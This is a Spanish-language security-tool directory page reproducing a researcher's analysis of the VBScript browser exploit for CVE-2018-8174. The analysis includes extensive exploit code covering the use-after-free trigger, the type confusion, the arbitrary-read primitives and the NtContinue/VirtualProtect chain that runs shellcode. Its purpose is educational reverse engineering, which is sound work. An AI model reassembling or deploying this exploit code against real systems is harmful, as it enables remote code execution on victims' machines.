Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2018-8174_analysis — Análisis del exploit VBS CVE-2018-8174 | Kitploit
Herramientas/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaAprendizaje y EducaciónExplotación de Binarios
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Análisis del exploit VBS CVE-2018-8174

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
3014hace 8 añosRevisado por Kitploit

Diseccionando un exploit moderno de navegador: caso de estudio de CVE-2018-8174

Resumen

Cuando este exploit surgió por primera vez a finales de abril y principios de mayo, despertó mi interés, ya que a pesar de una fuerte ofuscación, la estructura del código parecía bien organizada y el código de explotación de la vulnerabilidad lo suficientemente pequeño como para hacer el análisis más simple. Descargué el PoC de github y decidí que sería un buen candidato para echar un vistazo bajo el capó. En ese momento ya se habían publicado dos análisis, primero de 360 y segundo de Kaspersky. Ambos me ayudaron a entender cómo funcionaba, pero no fueron suficientes para comprender profundamente cada aspecto del exploit. Por eso decidí analizarlo por mi cuenta y compartir mis hallazgos.

Preprocesamiento

Primero, para eliminar la ofuscación de enteros, utilicé sustitución regex en un script de Python:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremadamente seguro :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

En cuanto a los nombres ofuscados, los renombré progresivamente durante el análisis. Este análisis se lee mejor con el código fuente al cual se proporciona un enlace al final.

Use after free

La vulnerabilidad ocurre cuando se finaliza un objeto y se llama a la función personalizada Class_Terminate(). En esta función, se guarda una referencia al objeto que se está liberando en UafArray. A partir de ahora, UafArray(i) se refiere al objeto eliminado.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' arreglar contador de referencias
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Observe también la última línea en Class_Terminate(). Cuando copiamos el objeto ClassTerminate a UafArray, su contador de referencias se incrementa. Para equilibrarlo, lo liberamos de nuevo asignando otro valor a FreedObjectArray. Sin esto, la memoria del objeto no se liberaría a pesar de llamar a Class_Terminate sobre él y el siguiente objeto no se asignaría en su lugar.

Método VBScriptClass::Release

La creación y eliminación de nuevos objetos se repite 7 veces en un bucle; después de eso, se crea un nuevo objeto de la clase ReuseClass. Se asigna en la misma memoria que anteriormente estaba ocupada por las 7 instancias de ClassTerminate. Para entenderlo mejor, aquí hay un script simple de WinDbg que rastrea todas esas asignaciones:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Aquí está el registro de asignación de la función UafTrigger:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Podemos ver inmediatamente que ReuseClass se asigna efectivamente en la misma memoria que se asignó a las 7 instancias anteriores de ClassTerminate. Esto se repite dos veces. Terminamos con dos objetos referenciados por UafArrays. Ninguna de estas referencias se refleja en el contador de referencias del objeto. En este registro también podemos notar que incluso después de que se llamó a Class_Terminate, hay algunas manipulaciones del objeto que cambian su contador de referencias. Por eso, si no equilibráramos este contador en Class_Terminate, obtendríamos algo como esto:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Diferentes direcciones de asignación. El exploit fallaría al crear la condición de use after free.

Type Confusion

Habiendo creado esos dos objetos con 7 referencias no contabilizadas a cada uno, establecimos una primitiva de lectura de memoria arbitraria. Hay dos clases similares ReuseClass y FakeReuseClass. Al reemplazar la primera clase por la segunda, se produce una type confusion en el miembro mem.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' en realidad llamará a Default Property Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

En la función SetProp, se guarda ReuseClass.mem y se llama a Default Property Get de la clase ReplacingClass_*; el resultado de esa llamada se colocará en ReuseClass.mem.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		' valor hex: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

Dentro de ese getter, se vacía UafArray asignando 0 a cada elemento. Esto hace que se llame a VBScriptClass::Release en el objeto ReuseClass que es referenciado por UafArray. Resulta que en esta etapa de ejecución, el objeto ReuseClass tiene un contador de referencias igual a 7, y como llamamos a Release 7 veces, este objeto se libera. Y debido a que estas referencias provenían de la situación de use after free, no se contabilizan en el contador de referencias. En lugar de ReuseClass, se asigna un nuevo objeto de FakeReuseClass. Ahora, para que su contador de referencias sea igual a 7, como era el caso con ReuseClass, lo asignamos 7 veces a UafArray. Aquí está el diseño de memoria antes y después de esta operación.

Reemplazando ReuseClass con FakeReuseClass

Diagrama para objetos VBScript

Después de que esto se hace, la función getter devolverá un valor que se asignará a la antigua variable ReuseClass::mem. Como se puede ver en los volcados de memoria, el valor antiguo se colocó 0xC bytes antes del nuevo. Los objetos fueron especialmente diseñados para causar esta situación, por ejemplo seleccionando la longitud adecuada para los nombres de las funciones. Ahora, el valor escrito en ReuseClass::mem sobrescribirá el encabezado de FakeReuseClass::mem, causando una situación de type confusion.

Type confusion en el miembro mem

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") ' estructura SAFEARRAY como cadena
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") ' Cadena con nulos, usada como memoria para escribir

objectImitatingArray.mem = FakeArrayString

La última línea asignó la cadena FakeArrayString a objectImitatingArray.mem. El encabezado ahora tiene el valor de VT_BSTR.

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Este valor sobrescribió el tipo de objectImitatingArray.mem a VT_ARRAY | VT_VARIANT y ahora el puntero a la cadena se interpretará como un puntero a una estructura SAFEARRAY.

Lectura de memoria arbitraria

El resultado es que terminamos con dos objetos de FakeReuseClass. Uno de ellos tiene un miembro mem que es un array que abarca todo el espacio de usuario (0x00000000 - 0x7fffffff) y el otro tiene un miembro de tipo VT_I4 (entero de 4 bytes) con un puntero a una cadena vacía de 16 bytes. Usando el segundo objeto, se filtra un puntero a la cadena:

root@kitploit:~
some_memory=resueObjectB_int.mem

Se usará más tarde como una dirección en memoria que se puede escribir. El siguiente paso es filtrar alguna dirección dentro de vbscript.dll. Aquí se utiliza un truco muy ingenioso.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Primero definimos que, en caso de error, el script simplemente continúe con la ejecución normal. Luego hay un intento de asignar EmptySub a una variable. Esto no es posible en VBS, pero aún así se empuja un valor en la pila antes de que se genere el error. La siguiente instrucción debería asignar null a una variable, lo cual hace, simplemente cambiando el tipo del último valor de la pila a VT_NULL. Ahora emptySub_addr_placeholder contiene un puntero a la función pero con el tipo establecido a VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' establecer tipo de var a vbLong
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' leer datos como vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' establecer datos
End Sub

Luego este valor se escribe en nuestra memoria escribible, su tipo se cambia a VT_I4 y se vuelve a leer como entero. Si verificamos el contenido de este valor, resulta ser un puntero a CScriptEntryPoint y el primer miembro es vftable que apunta dentro de vbscript.dll.

Filtrando la dirección de vbscript.dll

Para leer un valor de una dirección arbitraria, en este caso el puntero devuelto por LeakVBAddr, se utilizan las siguientes funciones:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' establecer valor como ptr BSTR + 4 (objeto BSTR: [len][addr+4], LenB leerá desde [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' establecer tipo a VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' establecer tipo al original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

La lectura se logra primero escribiendo la dirección+4 en una memoria escribible, luego se cambia el tipo a VT_BSTR. Ahora se trata la dirección+4 como un puntero a BSTR. Si llamamos a LenB en la dirección+4, devolverá el valor apuntado por la dirección. ¿Por qué? Debido a cómo está definido BSTR, el valor Unicode está precedido por su longitud, y esa longitud es devuelta por LenB.

Implementación de LenB

Ahora, cuando se filtró la dirección dentro de vbscript.dll, y habiendo establecido la lectura de memoria arbitraria, es cuestión de recorrer adecuadamente el encabezado PE para obtener todas las direcciones necesarias.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Los detalles de cómo hacer esto no se explicarán aquí. Este artículo explica el archivo PE en gran detalle.

Desencadenando la ejecución de código

La ejecución final del código se logra en dos pasos. Primero se construye una cadena de dos llamadas, pero no es una cadena ROP. Se proporciona a NtContinue una estructura CONTEXT que establece EIP en la dirección de VirtualProtect, y ESP en una estructura que contiene los parámetros de VirtualProtect.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - relleno, este espacio se usará como pila
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - dirección de retorno después de VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1er parámetro para VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - tamaño (2do parámetro para VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3er parámetro para VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4to parámetro para VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- relleno y alineación
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - tamaño_actual) - relleno
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - inicializar _CONTEXT con 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP en struct _CONTEXT
	result = result & UnescapeValue(27)			' 0x1b - CsSeg en struct _CONTEXT
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS en struct _CONTEXT
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP en struct _CONTEXT
	result = result & UnescapeValue(35)			' 0x23 - SsSeg en struct _CONTEXT
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - tamaño_actual) - relleno
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

Primero se obtiene la dirección del shellcode utilizando la técnica previamente descrita de cambiar el tipo de variable a VT_I4 y leer el puntero. A continuación, se construye una estructura para VirtualProtect que contiene todos los parámetros necesarios, como la dirección del shellcode, el tamaño y las protecciones RWX. También tiene espacio que será utilizado por las operaciones de pila dentro de VirtualProtect. Después de eso, se construye una estructura CONTEXT, con EIP establecido en VirtualProtect y ESP en sus parámetros. Esta estructura también tiene como primer valor un puntero a la dirección de NtContinue repetido 4 veces. El paso final antes de iniciar esta cadena es guardar la estructura como una cadena en memoria.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Esta función se utiliza luego para iniciar la cadena. Primero cambia el tipo de la estructura guardada a 0x4D y luego establece su valor a 0, esto provoca que se llame a VAR::Clear.

Ejecución de código

Y una vista dinámica desde el depurador

Ejecución de código

Aunque pueda parecer complicada, esta cadena de ejecución es muy simple. Solo dos pasos. Invocar a NtContinue con una estructura CONTEXT que apunta a VirtualProtect. Luego VirtualProtect deshabilitará DEP en la página de memoria que contiene el shellcode y después retornará al shellcode.

Conclusión

CVE-2018-8174 es un buen ejemplo de cómo encadenar algunas condiciones de use after free y type confusion para lograr la ejecución de código de una manera muy inteligente. Es un gran ejemplo para aprender y entender el funcionamiento interno de tales exploits.

Enlaces útiles

Código del exploit comentado

Análisis de causa raíz de Kaspersky

Análisis de 360

Otro análisis de Kaspersky

Análisis de CVE-2014-6332 por Trend Micro

Descargar herramienta